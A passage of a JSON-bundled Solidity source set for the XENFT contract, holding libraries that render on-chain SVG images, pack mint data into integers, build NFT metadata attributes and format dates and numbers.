5,0c-2.59,0-4.86,0-7.46-1.67A9,9,0,0,1,8,23.68a9.67,9.67,0,0,1-.91-5A10.91,10.91,0,0,1,8.49,14a8.74,8.74,0,0,1,3.37-3.29A8.2,8.2,0,0,1,14.15,10ZM69.14,22a54.75,54.75,0,0,1,4.94-3.24,124.88,124.88,0,0,0-18.8-9A106.89,106.89,0,0,0,34.17,4.31C31,3.81,26.44,3.25,22.89,4c-2.55.56-4.59,1.92-5,4.79a134.49,134.49,0,0,1,26.3,3.8,115.69,115.69,0,0,1,25,9.4ZM64,28.65c.21-.44.42-.86.66-1.28a15.26,15.26,0,0,1,1.73-2.47,146.24,146.24,0,0,0-14.92-6.2,97.69,97.69,0,0,0-15.34-4A123.57,123.57,0,0,0,21.07,13.2c-3.39-.08-6.3.08-7.47.72a5.21,5.21,0,0,0-2,1.94,7.3,7.3,0,0,0-1,3.12,6.1,6.1,0,0,0,.55,3.11,5.43,5.43,0,0,0,2,2.21c1.73,1.09,3.5,1.1,5.51,1.12h1.43c8.16.23,16.23.59,23.78,1.42a103.41,103.41,0,0,1,19.22,3.76,17.84,17.84,0,0,1,.85-2Zm-.76,15.06-.21.16c-1.82,1.3-6.48,1.24-12.35,1.17C42.91,45,32.79,44.83,26,47.47a37.41,37.41,0,0,0-10,5.81l-.1.08A33.44,33.44,0,0,0,4.66,71.17a35.14,35.14,0,0,0,1.5,21.32A39.47,39.47,0,0,0,12.35,103a1.82,1.82,0,0,1,.42,1.16v12a3.05,3.05,0,0,0,.68,2.37,4.28,4.28,0,0,0,3.16.73H67.68a10,10,0,0,0-1.11-3.69,4.7,4.7,0,0,0-2.87-2.32,15.08,15.08,0,0,0-4.4-.38h-26a1.83,1.83,0,0,1-.15-3.65c5.73-.72,10.35-2.74,13.57-6.25,3.06-3.34,4.91-8.1,5.33-14.45v-.13A18.88,18.88,0,0,0,46.35,75a20.22,20.22,0,0,0-7.41-4.42,23.54,23.54,0,0,0-8.52-1.25c-4.7.19-9.11,1.83-12,4.83a1.83,1.83,0,0,1-2.65-2.52c3.53-3.71,8.86-5.73,14.47-6a27.05,27.05,0,0,1,9.85,1.44,24,24,0,0,1,8.74,5.23,22.48,22.48,0,0,1,6.85,15.82v.08a2.17,2.17,0,0,1,0,.36c-.47,7.25-2.66,12.77-6.3,16.75a21.24,21.24,0,0,1-4.62,3.77H57.35q4.44-2.39,8.39-5c2.68-1.79,5.22-3.69,7.63-5.67a1.82,1.82,0,0,1,2.57.24,1.69,1.69,0,0,1,.35.66L81,115.62a7,7,0,0,0,2.16,2.62,5.06,5.06,0,0,0,3,.9H96.88a6.56,6.56,0,0,0-1.68-4.38,7.19,7.19,0,0,0-4.74-1.83c-.36,0-.69,0-1,0a1.83,1.83,0,0,1-1.83-1.83V83.6a1.75,1.75,0,0,1,.23-.88,105.11,105.11,0,0,0,5.34-12.46,52,52,0,0,0,2.55-10.44l-1.23.1c-7.23.52-14.52-.12-20.34-3A20,20,0,0,1,63.26,43.71Z\"/>'\n \"</g>\";\n\n string private constant _APEX =\n '<g transform=\"scale(0.5) translate(533, 790)\">'\n '<circle r=\"39\" stroke=\"#ededed\" fill=\"transparent\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"M0,38 a38,38 0 0 1 0,-76 a19,19 0 0 1 0,38 a19,19 0 0 0 0,38 z m -5 -57 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0 z\" '\n 'fill-rule=\"evenodd\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"m -5, 19 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0\"/>'\n \"</g>\";\n\n string private constant _LOGO =\n '<path fill=\"#ededed\" '\n 'd=\"M122.7,227.1 l-4.8,0l55.8,-74l0,3.2l-51.8,-69.2l5,0l48.8,65.4l-1.2,0l48.8,-65.4l4.8,0l-51.2,68.4l0,-1.6l55.2,73.2l-5,0l-52.8,-70.2l1.2,0l-52.8,70.2z\" '\n 'vector-effect=\"non-scaling-stroke\" />';\n\n /**\n @dev internal helper to create HSL-encoded color prop for SVG tags\n */\n function colorHSL(Color memory c) internal pure returns (bytes memory) {\n return abi.encodePacked(\"hsl(\", c.h.toString(), \", \", c.s.toString(), \"%, \", c.l.toString(), \"%)\");\n }\n\n /**\n @dev internal helper to create `stop` SVG tag\n */\n function colorStop(Color memory c) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n '<stop stop-color=\"',\n colorHSL(c),\n '\" stop-opacity=\"',\n c.a.toString(),\n '\" offset=\"',\n c.off.toString(),\n '%\"/>'\n );\n }\n\n /**\n @dev internal helper to encode position for `Gradient` SVG tag\n */\n function pos(uint256[4] memory coords) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n 'x1=\"',\n coords[0].toString(),\n '%\" '\n 'y1=\"',\n coords[1].toString(),\n '%\" '\n 'x2=\"',\n coords[2].toString(),\n '%\" '\n 'y2=\"',\n coords[3].toString(),\n '%\" '\n );\n }\n\n /**\n @dev internal helper to create `Gradient` SVG tag\n */\n function linearGradient(\n Color[] memory colors,\n uint256 id,\n uint256[4] memory coords\n ) internal pure returns (bytes memory) {\n string memory stops = \"\";\n for (uint256 i = 0; i < colors.length; i++) {\n if (colors[i].h != 0) {\n stops = string.concat(stops, string(colorStop(colors[i])));\n }\n }\n return\n abi.encodePacked(\n \"<linearGradient \",\n pos(coords),\n 'id=\"g',\n id.toString(),\n '\">',\n stops,\n \"</linearGradient>\"\n );\n }\n\n /**\n @dev internal helper to create `Defs` SVG tag\n */\n function defs(Gradient memory grad) internal pure returns (bytes memory) {\n return abi.encodePacked(\"<defs>\", linearGradient(grad.colors, 0, grad.coords), \"</defs>\");\n }\n\n /**\n @dev internal helper to create `Rect` SVG tag\n */\n function rect(uint256 id) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<rect \"\n 'width=\"100%\" '\n 'height=\"100%\" '\n 'fill=\"url(#g',\n id.toString(),\n ')\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n \"/>\"\n );\n }\n\n /**\n @dev internal helper to create border `Rect` SVG tag\n */\n function border() internal pure returns (string memory) {\n return\n \"<rect \"\n 'width=\"94%\" '\n 'height=\"96%\" '\n 'fill=\"transparent\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n 'x=\"3%\" '\n 'y=\"2%\" '\n 'stroke-dasharray=\"1,6\" '\n 'stroke=\"white\" '\n \"/>\";\n }\n\n /**\n @dev internal helper to create group `G` SVG tag\n */\n function g(uint256 gradientsCount) internal pure returns (bytes memory) {\n string memory background = \"\";\n for (uint256 i = 0; i < gradientsCount; i++) {\n background = string.concat(background, string(rect(i)));\n }\n return abi.encodePacked(\"<g>\", background, border(), \"</g>\");\n }\n\n /**\n @dev internal helper to create XEN logo line pattern with 2 SVG `lines`\n */\n function logo() internal pure returns (bytes memory) {\n return abi.encodePacked();\n }\n\n /**\n @dev internal helper to create `Text` SVG tag with XEN Crypto contract data\n */\n function contractData(string memory symbol, address xenAddress) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"5%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">',\n symbol,\n unicode\"・\",\n xenAddress.toHexString(),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to create cRank range string\n */\n function rankAndCount(uint256 rank, uint256 count) internal pure returns (bytes memory) {\n if (count == 1) return abi.encodePacked(rank.toString());\n return abi.encodePacked(rank.toString(), \"..\", (rank + count - 1).toString());\n }\n\n /**\n @dev internal helper to create 1st part of metadata section of SVG\n */\n function meta1(\n uint256 tokenId,\n uint256 count,\n uint256 eaa,\n string memory series,\n uint256 xenBurned\n ) internal pure returns (bytes memory) {\n bytes memory part1 = abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"50%\" '\n 'class=\"base \" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">'\n \"XEN CRYPTO\"\n \"</text>\"\n \"<text \"\n 'x=\"50%\" '\n 'y=\"56%\" '\n 'class=\"base burn\" '\n 'text-anchor=\"middle\" '\n 'dominant-baseline=\"middle\"> ',\n xenBurned > 0 ? string.concat((xenBurned / 10**18).toFormattedString(), \" X\") : \"\",\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"62%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\"> '\n \"#\",\n tokenId.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"82%\" '\n 'y=\"62%\" '\n 'class=\"base meta series\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"end\" >',\n series,\n \"</text>\"\n );\n bytes memory part2 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"68%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"VMU: \",\n count.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"72%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"EAA: \",\n (eaa / 10).toString(),\n \"%\"\n \"</text>\"\n );\n return abi.encodePacked(part1, part2);\n }\n\n /**\n @dev internal helper to create 2nd part of metadata section of SVG\n */\n function meta2(\n uint256 maturityTs,\n uint256 amp,\n uint256 term,\n uint256 rank,\n uint256 count\n ) internal pure returns (bytes memory) {\n bytes memory part3 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"76%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"AMP: \",\n amp.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"80%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Term: \",\n term.toString()\n );\n bytes memory part4 = abi.encodePacked(\n \" days\"\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"84%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"cRank: \",\n rankAndCount(rank, count),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"88%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Maturity: \",\n maturityTs.asString(),\n \"</text>\"\n );\n return abi.encodePacked(part3, part4);\n }\n\n /**\n @dev internal helper to create `Text` SVG tag for XEN quote\n */\n function quote(uint256 idx) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"95%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" >',\n StringData.getQuote(StringData.QUOTES, idx),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to generate `Redeemed` stamp\n */\n function stamp(bool redeemed) internal pure returns (bytes memory) {\n if (!redeemed) return \"\";\n return\n abi.encodePacked(\n \"<rect \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'width=\"100\" '\n 'height=\"40\" '\n 'stroke=\"black\" '\n 'stroke-width=\"1\" '\n 'fill=\"none\" '\n 'rx=\"5px\" '\n 'ry=\"5px\" '\n 'transform=\"translate(-50,-20) '\n 'rotate(-20,0,400)\" />',\n \"<text \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'stroke=\"black\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" '\n 'transform=\"translate(0,0) rotate(-20,-45,380)\" >'\n \"Redeemed\"\n \"</text>\"\n );\n }\n\n /**\n @dev main internal helper to create SVG file representing XENFT\n */\n function image(\n SvgParams memory params,\n Gradient[] memory gradients,\n uint256 idx,\n bool apex,\n bool limited\n ) internal pure returns (bytes memory) {\n string memory mark = limited ? _LIMITED : apex ? _APEX : _COLLECTOR;\n bytes memory graphics = abi.encodePacked(defs(gradients[0]), _STYLE, g(gradients.length), _LOGO, mark);\n bytes memory metadata = abi.encodePacked(\n contractData(params.symbol, params.xenAddress),\n meta1(params.tokenId, params.count, params.eaa, params.series, params.xenBurned),\n meta2(params.maturityTs, params.amp, params.term, params.rank, params.count),\n quote(idx),\n stamp(params.redeemed)\n );\n return\n abi.encodePacked(\n \"<svg \"\n 'xmlns=\"http://www.w3.org/2000/svg\" '\n 'preserveAspectRatio=\"xMinYMin meet\" '\n 'viewBox=\"0 0 350 566\">',\n graphics,\n metadata,\n \"</svg>\"\n );\n }\n}\n"
},
"/contracts/libs/MintInfo.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n// MintInfo encoded as:\n// term (uint16)\n// | maturityTs (uint64)\n// | rank (uint128)\n// | amp (uint16)\n// | eaa (uint16)\n// | class (uint8):\n// [7] isApex\n// [6] isLimited\n// [0-5] powerGroupIdx\n// | redeemed (uint8)\nlibrary MintInfo {\n /**\n @dev helper to convert Bool to U256 type and make compiler happy\n */\n function toU256(bool x) internal pure returns (uint256 r) {\n assembly {\n r := x\n }\n }\n\n /**\n @dev encodes MintInfo record from its props\n */\n function encodeMintInfo(\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class_,\n bool redeemed\n ) public pure returns (uint256 info) {\n info = info | (toU256(redeemed) & 0xFF);\n info = info | ((class_ & 0xFF) << 8);\n info = info | ((eaa & 0xFFFF) << 16);\n info = info | ((amp & 0xFFFF) << 32);\n info = info | ((rank & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) << 48);\n info = info | ((maturityTs & 0xFFFFFFFFFFFFFFFF) << 176);\n info = info | ((term & 0xFFFF) << 240);\n }\n\n /**\n @dev decodes MintInfo record and extracts all of its props\n */\n function decodeMintInfo(uint256 info)\n public\n pure\n returns (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class,\n bool apex,\n bool limited,\n bool redeemed\n )\n {\n term = uint16(info >> 240);\n maturityTs = uint64(info >> 176);\n rank = uint128(info >> 48);\n amp = uint16(info >> 32);\n eaa = uint16(info >> 16);\n class = uint8(info >> 8) & 0x3F;\n apex = (uint8(info >> 8) & 0x80) > 0;\n limited = (uint8(info >> 8) & 0x40) > 0;\n redeemed = uint8(info) == 1;\n }\n\n /**\n @dev extracts `term` prop from encoded MintInfo\n */\n function getTerm(uint256 info) public pure returns (uint256 term) {\n (term, , , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `maturityTs` prop from encoded MintInfo\n */\n function getMaturityTs(uint256 info) public pure returns (uint256 maturityTs) {\n (, maturityTs, , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `rank` prop from encoded MintInfo\n */\n function getRank(uint256 info) public pure returns (uint256 rank) {\n (, , rank, , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `AMP` prop from encoded MintInfo\n */\n function getAMP(uint256 info) public pure returns (uint256 amp) {\n (, , , amp, , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `EAA` prop from encoded MintInfo\n */\n function getEAA(uint256 info) public pure returns (uint256 eaa) {\n (, , , , eaa, , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getClass(uint256 info)\n public\n pure\n returns (\n uint256 class_,\n bool apex,\n bool limited\n )\n {\n (, , , , , class_, apex, limited, ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getRedeemed(uint256 info) public pure returns (bool redeemed) {\n (, , , , , , , , redeemed) = decodeMintInfo(info);\n }\n}\n"
},
"/contracts/libs/Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./MintInfo.sol\";\nimport \"./DateTime.sol\";\nimport \"./FormattedStrings.sol\";\nimport \"./SVG.sol\";\n\n/**\n @dev Library contains methods to generate on-chain NFT metadata\n*/\nlibrary Metadata {\n using DateTime for uint256;\n using MintInfo for uint256;\n using Strings for uint256;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n uint256 public constant MAX_POWER = 52_500;\n\n uint256 public constant COLORS_FULL_SCALE = 300;\n uint256 public constant SPECIAL_LUMINOSITY = 45;\n uint256 public constant BASE_SATURATION = 75;\n uint256 public constant BASE_LUMINOSITY = 38;\n uint256 public constant GROUP_SATURATION = 100;\n uint256 public constant GROUP_LUMINOSITY = 50;\n uint256 public constant DEFAULT_OPACITY = 1;\n uint256 public constant NO_COLOR = 360;\n\n // PRIVATE HELPERS\n\n // The following pure methods returning arrays are workaround to use array constants,\n // not yet available in Solidity\n\n function _powerGroupColors() private pure returns (uint256[8] memory) {\n return [uint256(360), 1, 30, 60, 120, 180, 240, 300];\n }\n\n function _huesApex() private pure returns (uint256[3] memory) {\n return [uint256(169), 210, 305];\n }\n\n function _huesLimited() private pure returns (uint256[3] memory) {\n return [uint256(263), 0, 42];\n }\n\n function _stopOffsets() private pure returns (uint256[3] memory) {\n return [uint256(10), 50, 90];\n }\n\n function _gradColorsRegular() private pure returns (uint256[4] memory) {\n return [uint256(150), 150, 20, 20];\n }\n\n function _gradColorsBlack() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 20, 20];\n }\n\n function _gradColorsSpecial() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 0, 0];\n }\n\n /**\n @dev private helper to determine XENFT group index by its power\n (power = count of VMUs * mint term in days)\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev private helper to generate SVG gradients for special XENFT categories\n */\n function _specialClassGradients(bool rare) private pure returns (SVG.Gradient[] memory gradients) {\n uint256[3] memory specialColors = rare ? _huesApex() : _huesLimited();\n SVG.Color[] memory colors = new SVG.Color[](3);\n for (uint256 i = 0; i < colors.length; i++) {\n colors[i] = SVG.Color({\n h: specialColors[i],\n s: BASE_SATURATION,\n l: SPECIAL_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[i]\n });\n }\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({colors: colors, id: 0, coords: _gradColorsSpecial()});\n }\n\n /**\n @dev private helper to generate SVG gradients for common XENFT category\n */\n function _commonCategoryGradients(uint256 vmus, uint256 term)\n private\n pure\n returns (SVG.Gradient[] memory gradients)\n {\n SVG.Color[] memory colors = new SVG.Color[](2);\n uint256 powerHue = term * vmus > MAX_POWER ? NO_COLOR : 1 + (term * vmus * COLORS_FULL_SCALE) / MAX_POWER;\n // group\n uint256 groupHue = _powerGroupColors()[_powerGroup(vmus, term) > 7 ? 7 : _powerGroup(vmus, term)];\n colors[0] = SVG.Color({\n h: groupHue,\n s: groupHue == NO_COLOR ? 0 : GROUP_SATURATION,\n l: groupHue == NO_COLOR ? 0 : GROUP_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[0]\n });\n // power\n colors[1] = SVG.Color({\n h: powerHue,\n s: powerHue == NO_COLOR ? 0 : BASE_SATURATION,\n l: powerHue == NO_COLOR ? 0 : BASE_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[2]\n });\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({\n colors: colors,\n id: 0,\n coords: groupHue == NO_COLOR ? _gradColorsBlack() : _gradColorsRegular()\n });\n }\n\n // PUBLIC INTERFACE\n\n /**\n @dev public interface to generate SVG image based on XENFT params\n */\n function svgData(\n uint256 tokenId,\n uint256 count,\n uint256 info,\n address token,\n uint256 burned\n ) external view returns (bytes memory) {\n string memory symbol = IERC20Metadata(token).symbol();\n (uint256 classIds, bool rare, bool limited) = info.getClass();\n SVG.SvgParams memory params = SVG.SvgParams({\n symbol: symbol,\n xenAddress: token,\n tokenId: tokenId,\n term: info.getTerm(),\n rank: info.getRank(),\n count: count,\n maturityTs: info.getMaturityTs(),\n amp: info.getAMP(),\n eaa: info.getEAA(),\n xenBurned: burned,\n series: StringData.getClassName(StringData.CLASSES, classIds),\n redeemed: info.getRedeemed()\n });\n uint256 quoteIdx = uint256(keccak256(abi.encode(info))) % StringData.QUOTES_COUNT;\n if (rare || limited) {\n return SVG.image(params, _specialClassGradients(rare), quoteIdx, rare, limited);\n }\n return SVG.image(params, _commonCategoryGradients(count, info.getTerm()), quoteIdx, rare, limited);\n }\n\n function _attr1(\n uint256 count,\n uint256 rank,\n uint256 class_\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Class\",\"value\":\"',\n StringData.getClassName(StringData.CLASSES, class_),\n '\"},'\n '{\"trait_type\":\"VMUs\",\"value\":\"',\n count.toString(),\n '\"},'\n '{\"trait_type\":\"cRank\",\"value\":\"',\n rank.toString(),\n '\"},'\n );\n }\n\n function _attr2(\n uint256 amp,\n uint256 eaa,\n uint256 maturityTs\n ) private pure returns (bytes memory) {\n (uint256 year, string memory month) = DateTime.yearAndMonth(maturityTs);\n return\n abi.encodePacked(\n '{\"trait_type\":\"AMP\",\"value\":\"',\n amp.toString(),\n '\"},'\n '{\"trait_type\":\"EAA (%)\",\"value\":\"',\n (eaa / 10).toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Year\",\"value\":\"',\n year.toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Month\",\"value\":\"',\n month,\n '\"},'\n );\n }\n\n function _attr3(\n uint256 maturityTs,\n uint256 term,\n uint256 burned\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Maturity DateTime\",\"value\":\"',\n maturityTs.asString(),\n '\"},'\n '{\"trait_type\":\"Term\",\"value\":\"',\n term.toString(),\n '\"},'\n '{\"trait_type\":\"XEN Burned\",\"value\":\"',\n (burned / 10**18).toString(),\n '\"},'\n );\n }\n\n function _attr4(bool apex, bool limited) private pure returns (bytes memory) {\n string memory category = \"Collector\";\n if (limited) category = \"Limited\";\n if (apex) category = \"Apex\";\n return abi.encodePacked('{\"trait_type\":\"Category\",\"value\":\"', category, '\"}');\n }\n\n /**\n @dev private helper to construct attributes portion of NFT metadata\n */\n function attributes(\n uint256 count,\n uint256 burned,\n uint256 mintInfo\n ) external pure returns (bytes memory) {\n (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 series,\n bool apex,\n bool limited,\n\n ) = MintInfo.decodeMintInfo(mintInfo);\n return\n abi.encodePacked(\n \"[\",\n _attr1(count, rank, series),\n _attr2(amp, eaa, maturityTs),\n _attr3(maturityTs, term, burned),\n _attr4(apex, limited),\n \"]\"\n );\n }\n\n function formattedString(uint256 n) public pure returns (string memory) {\n return FormattedStrings.toFormattedString(n);\n }\n}\n"
},
"/contracts/libs/FormattedStrings.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary FormattedStrings {\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n Base on OpenZeppelin `toString` method from `String` library\n */\n function toFormattedString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n uint256 pos;\n uint256 comas = digits / 3;\n digits = digits + (digits % 3 == 0 ? comas - 1 : comas);\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n if (pos == 3) {\n buffer[digits] = \",\";\n pos = 0;\n } else {\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n pos++;\n }\n }\n return string(buffer);\n }\n}\n"
},
"/contracts/libs/ERC2771Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (metatx/ERC2771Context.sol)\n\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\";\n\n/**\n * @dev Context variant with ERC2771 support.\n */\nabstract contract ERC2771Context is Context {\n /// @custom:oz-upgrades-unsafe-allow state-variable-immutable\n // one-time settable var\n address internal _trustedForwarder;\n\n /// @custom:oz-upgrades-unsafe-allow constructor\n constructor(address trustedForwarder) {\n _trustedForwarder = trustedForwarder;\n }\n\n function isTrustedForwarder(address forwarder) public view virtual returns (bool) {\n return forwarder == _trustedForwarder;\n }\n\n function _msgSender() internal view virtual override returns (address sender) {\n if (isTrustedForwarder(msg.sender)) {\n // The assembly code is more direct than the Solidity version using `abi.decode`.\n /// @solidity memory-safe-assembly\n assembly {\n sender := shr(96, calldataload(sub(calldatasize(), 20)))\n }\n } else {\n return super._msgSender();\n }\n }\n\n function _msgData() internal view virtual override returns (bytes calldata) {\n if (isTrustedForwarder(msg.sender)) {\n return msg.data[:msg.data.length - 20];\n } else {\n return super._msgData();\n }\n }\n}\n"
},
"/contracts/libs/DateTime.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./BokkyPooBahsDateTimeLibrary.sol\";\n\n/*\n @dev Library to convert epoch timestamp to a human-readable Date-Time string\n @dependency uses BokkyPooBahsDateTimeLibrary.sol library internally\n */\nlibrary DateTime {\n using Strings for uint256;\n\n bytes public constant MONTHS = bytes(\"JanFebMarAprMayJunJulAugSepOctNovDec\");\n\n /**\n * @dev returns month as short (3-letter) string\n */\n function monthAsString(uint256 idx) internal pure returns (string memory) {\n require(idx > 0, \"bad idx\");\n bytes memory str = new bytes(3);\n uint256 offset = (idx - 1) * 3;\n str[0] = bytes1(MONTHS[offset]);\n str[1] = bytes1(MONTHS[offset + 1]);\n str[2] = bytes1(MONTHS[offset + 2]);\n return string(str);\n }\n\n /**\n * @dev returns string representation of number left-padded for 2 symbols\n */\n function asPaddedString(uint256 n) internal pure returns (string memory) {\n if (n == 0) return \"00\";\n if (n < 10) return string.concat(\"0\", n.toString());\n return n.toString();\n }\n\n /**\n * @dev returns string of format 'Jan 01, 2022 18:00 UTC' for a given timestamp\n */\n function asString(uint256 ts) external pure returns (string memory) {\n (uint256 year, uint256 month, uint256 day, uint256 hour, uint256 minute, ) = BokkyPooBahsDateTimeLibrary\n .timestampToDateTime(ts);\n return\n string(\n abi.encodePacked(\n monthAsString(month),\n \" \",\n day.toString(),\n \", \",\n year.toString(),\n \" \",\n asPaddedString(hour),\n \":\",\n asPaddedString(minute),\n \" UTC\"\n )\n );\n }\n\n /**\n * @dev returns (year, month as string) components of a date by timestamp\n */\n function yearAndMonth(uint256 ts) external pure returns (uint256, string memory) {\n (uint256 year, uint256 month, , , , ) = BokkyPooBahsDateTimeLibrary.timestampToDateTime(ts);\n return (year, monthAsString(month));\n }\n}\n"
},
"/contracts/libs/BokkyPooBahsDateTimeLibrary.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// ----------------------------------------------------------------------------\n// BokkyPooBah's DateTime Library v1.01\n//\n// A gas-efficient Solidity date and time library\n//\n// https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary\n//\n// Tested date range 1970/01/01 to 2345/12/31\n//\n// Conventions:\n// Unit | Range | Notes\n// :-------- |:-------------:|:-----\n// timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC\n// year | 1970 ... 2345 |\n// month | 1 ... 12 |\n// day | 1 ... 31 |\n// hour | 0 ... 23 |\n// minute | 0 ... 59 |\n// second | 0 ... 59 |\n// dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday\n//\n//\n// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018-2019. The MIT Licence.\n// ----------------------------------------------------------------------------\n\nlibrary BokkyPooBahsDateTimeLibrary {\n uint256 constant _SECONDS_PER_DAY = 24 * 60 * 60;\n uint256 constant _SECONDS_PER_HOUR = 60 * 60;\n uint256 constant _SECONDS_PER_MINUTE = 60;\n int256 constant _OFFSET19700101 = 2440588;\n\n uint256 constant _DOW_FRI = 5;\n uint256 constant _DOW_SAT = 6;\n\n // ------------------------------------------------------------------------\n // Calculate the number of days from 1970/01/01 to year/month/day using\n // the date conversion algorithm from\n // https://aa.usno.navy.mil/faq/JD_formula.html\n // and subtracting the offset 2440588 so that 1970/01/01 is day 0\n //\n // days = day\n // - 32075\n // + 1461 * (year + 4800 + (month - 14) / 12) / 4\n // + 367 * (month - 2 - (month - 14) / 12 * 12) / 12\n // - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4\n // - offset\n // ------------------------------------------------------------------------\n function _daysFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) private pure returns (uint256 _days) {\n require(year >= 1970);\n int256 _year = int256(year);\n int256 _month = int256(month);\n int256 _day = int256(day);\n\n int256 __days = _day -\n 32075 +\n (1461 * (_year + 4800 + (_month - 14) / 12)) /\n 4 +\n (367 * (_month - 2 - ((_month - 14) / 12) * 12)) /\n 12 -\n (3 * ((_year + 4900 + (_month - 14) / 12) / 100)) /\n 4 -\n _OFFSET19700101;\n\n _days = uint256(__days);\n }\n\n // ------------------------------------------------------------------------\n // Calculate year/month/day from the number of days since 1970/01/01 using\n // the date conversion algorithm from\n // http://aa.usno.navy.mil/faq/docs/JD_Formula.php\n // and adding the offset 2440588 so that 1970/01/01 is day 0\n //\n // int L = days + 68569 + offset\n 